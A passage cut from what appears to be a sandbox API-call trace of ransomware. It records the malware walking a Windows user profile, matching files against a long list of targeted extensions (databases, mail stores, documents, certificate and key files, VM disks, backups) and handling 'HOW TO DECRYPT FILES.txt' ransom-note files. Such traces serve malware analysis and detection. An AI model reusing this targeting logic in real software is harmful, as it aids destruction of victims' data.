lstrlenA (lpString="*.dbf") returned 5 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.myox") returned 0 [0088.198] lstrlenA (lpString="*.myox") returned 6 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.myo") returned 0 [0088.198] lstrlenA (lpString="*.myo") returned 5 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qbw") returned 0 [0088.198] lstrlenA (lpString="*.qbw") returned 5 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qbb") returned 0 [0088.198] lstrlenA (lpString="*.qbb") returned 5 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qbm") returned 0 [0088.198] lstrlenA (lpString="*.qbm") returned 5 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qbo") returned 0 [0088.198] lstrlenA (lpString="*.qbo") returned 5 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qbx") returned 0 [0088.198] lstrlenA (lpString="*.qbx") returned 5 [0088.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qba") returned 0 [0088.198] lstrlenA (lpString="*.qba") returned 5 [0088.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qby") returned 0 [0088.199] lstrlenA (lpString="*.qby") returned 5 [0088.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qbj") returned 0 [0088.199] lstrlenA (lpString="*.qbj") returned 5 [0088.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.ofx") returned 0 [0088.199] lstrlenA (lpString="*.ofx") returned 5 [0088.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.qif") returned 0 [0088.199] lstrlenA (lpString="*.qif") returned 5 [0088.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.mye") returned 0 [0088.199] lstrlenA (lpString="*.mye") returned 5 [0088.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.mbox") returned 0 [0088.200] lstrlenA (lpString="*.mbox") returned 6 [0088.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.eml") returned 0 [0088.200] lstrlenA (lpString="*.eml") returned 5 [0088.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.pst") returned 0 [0088.200] lstrlenA (lpString="*.pst") returned 5 [0088.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.ost") returned 0 [0088.200] lstrlenA (lpString="*.ost") returned 5 [0088.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.idx") returned 0 [0088.200] lstrlenA (lpString="*.idx") returned 5 [0088.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.dbx") returned 0 [0088.200] lstrlenA (lpString="*.dbx") returned 5 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.sql") returned 0 [0088.201] lstrlenA (lpString="*.sql") returned 5 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.mdb") returned 0 [0088.201] lstrlenA (lpString="*.mdb") returned 5 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.fdb") returned 0 [0088.201] lstrlenA (lpString="*.fdb") returned 5 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.wab") returned 0 [0088.201] lstrlenA (lpString="*.wab") returned 5 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.dat") returned 0 [0088.201] lstrlenA (lpString="*.dat") returned 5 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.txt") returned 0 [0088.201] lstrlenA (lpString="*.txt") returned 5 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.jpeg") returned 0 [0088.201] lstrlenA (lpString="*.jpeg") returned 6 [0088.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.jpg") returned 0 [0088.201] lstrlenA (lpString="*.jpg") returned 5 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.png") returned 0 [0088.202] lstrlenA (lpString="*.png") returned 5 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.php") returned 0 [0088.202] lstrlenA (lpString="*.php") returned 5 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.cs") returned 0 [0088.202] lstrlenA (lpString="*.cs") returned 4 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.cpp") returned 0 [0088.202] lstrlenA (lpString="*.cpp") returned 5 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.rar") returned 0 [0088.202] lstrlenA (lpString="*.rar") returned 5 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.zip") returned 0 [0088.202] lstrlenA (lpString="*.zip") returned 5 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.html") returned 0 [0088.202] lstrlenA (lpString="*.html") returned 6 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.htm") returned 0 [0088.202] lstrlenA (lpString="*.htm") returned 5 [0088.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.xlsx") returned 0 [0088.202] lstrlenA (lpString="*.xlsx") returned 6 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.xls") returned 0 [0088.203] lstrlenA (lpString="*.xls") returned 5 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.mp4") returned 0 [0088.203] lstrlenA (lpString="*.mp4") returned 5 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.ppt") returned 0 [0088.203] lstrlenA (lpString="*.ppt") returned 5 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.pptx") returned 0 [0088.203] lstrlenA (lpString="*.pptx") returned 6 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.doc") returned 0 [0088.203] lstrlenA (lpString="*.doc") returned 5 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.dot") returned 0 [0088.203] lstrlenA (lpString="*.dot") returned 5 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.docx") returned 0 [0088.203] lstrlenA (lpString="*.docx") returned 6 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.7z") returned 0 [0088.203] lstrlenA (lpString="*.7z") returned 4 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.tar") returned 0 [0088.203] lstrlenA (lpString="*.tar") returned 5 [0088.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.bz2") returned 0 [0088.204] lstrlenA (lpString="*.bz2") returned 5 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.gz") returned 0 [0088.204] lstrlenA (lpString="*.gz") returned 4 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.mkv") returned 0 [0088.204] lstrlenA (lpString="*.mkv") returned 5 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.eml") returned 0 [0088.204] lstrlenA (lpString="*.eml") returned 5 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.msg") returned 0 [0088.204] lstrlenA (lpString="*.msg") returned 5 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.edb") returned 0 [0088.204] lstrlenA (lpString="*.edb") returned 5 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.accdb") returned 0 [0088.204] lstrlenA (lpString="*.accdb") returned 7 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.odb") returned 0 [0088.204] lstrlenA (lpString="*.odb") returned 5 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.java") returned 0 [0088.204] lstrlenA (lpString="*.java") returned 6 [0088.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.asm") returned 0 [0088.204] lstrlenA (lpString="*.asm") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.pfx") returned 0 [0088.205] lstrlenA (lpString="*.pfx") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.pem") returned 0 [0088.205] lstrlenA (lpString="*.pem") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.p12") returned 0 [0088.205] lstrlenA (lpString="*.p12") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.gpg") returned 0 [0088.205] lstrlenA (lpString="*.gpg") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.vsd") returned 0 [0088.205] lstrlenA (lpString="*.vsd") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.odg") returned 0 [0088.205] lstrlenA (lpString="*.odg") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.raw") returned 0 [0088.205] lstrlenA (lpString="*.raw") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.nef") returned 0 [0088.205] lstrlenA (lpString="*.nef") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.svg") returned 0 [0088.205] lstrlenA (lpString="*.svg") returned 5 [0088.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.psd") returned 0 [0088.206] lstrlenA (lpString="*.psd") returned 5 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.vmx") returned 0 [0088.206] lstrlenA (lpString="*.vmx") returned 5 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.vmdk") returned 0 [0088.206] lstrlenA (lpString="*.vmdk") returned 6 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.vdi") returned 0 [0088.206] lstrlenA (lpString="*.vdi") returned 5 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.lay6") returned 0 [0088.206] lstrlenA (lpString="*.lay6") returned 6 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.mpeg") returned 0 [0088.206] lstrlenA (lpString="*.mpeg") returned 6 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.djvu") returned 0 [0088.206] lstrlenA (lpString="*.djvu") returned 6 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.tiff") returned 0 [0088.206] lstrlenA (lpString="*.tiff") returned 6 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.backup") returned 0 [0088.206] lstrlenA (lpString="*.backup") returned 8 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.pdf") returned 0 [0088.206] lstrlenA (lpString="*.pdf") returned 5 [0088.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.cert") returned 0 [0088.207] lstrlenA (lpString="*.cert") returned 6 [0088.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.docm") returned 0 [0088.207] lstrlenA (lpString="*.docm") returned 6 [0088.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.xlsm") returned 0 [0088.207] lstrlenA (lpString="*.xlsm") returned 6 [0088.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.dwg") returned 0 [0088.207] lstrlenA (lpString="*.dwg") returned 5 [0088.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.nd") returned 0 [0088.207] lstrlenA (lpString="*.nd") returned 4 [0088.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.tlg") returned 0 [0088.207] lstrlenA (lpString="*.tlg") returned 5 [0088.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred", pszSpec="*.lgb") returned 0 [0088.207] lstrlenA (lpString="*.lgb") returned 5 [0088.207] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x542fc610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x542fc610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfc5f7b80, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x390033, dwReserved1=0x300033, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0088.207] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.208] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x355, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0088.208] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.208] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SYNCHIST") returned -1 [0088.208] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SYNCHIST") returned -1 [0088.208] lstrcmpiA (lpString1="", lpString2="SYNCHIST") returned -1 [0088.208] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*.*") returned="*.*" [0088.208] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\" [0088.208] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\") returned="" [0088.208] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO DECRYPT FILES.txt" [0088.208] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\how to decrypt files.txt")) returned 0x2020 [0088.208] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" [0088.208] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2b1e4b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b1e4b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x36031920, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x355, cFileName="SYNCHIST", cAlternateFileName="")) returned 0 [0088.209] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.209] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0088.209] lstrcmpA (lpString1=".", lpString2="Publisher") returned -1 [0088.209] lstrcmpA (lpString1="..", lpString2="Publisher") returned -1 [0088.209] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.209] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Publisher" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher") returned="C:\\Users\\5p5NrGJn0jS 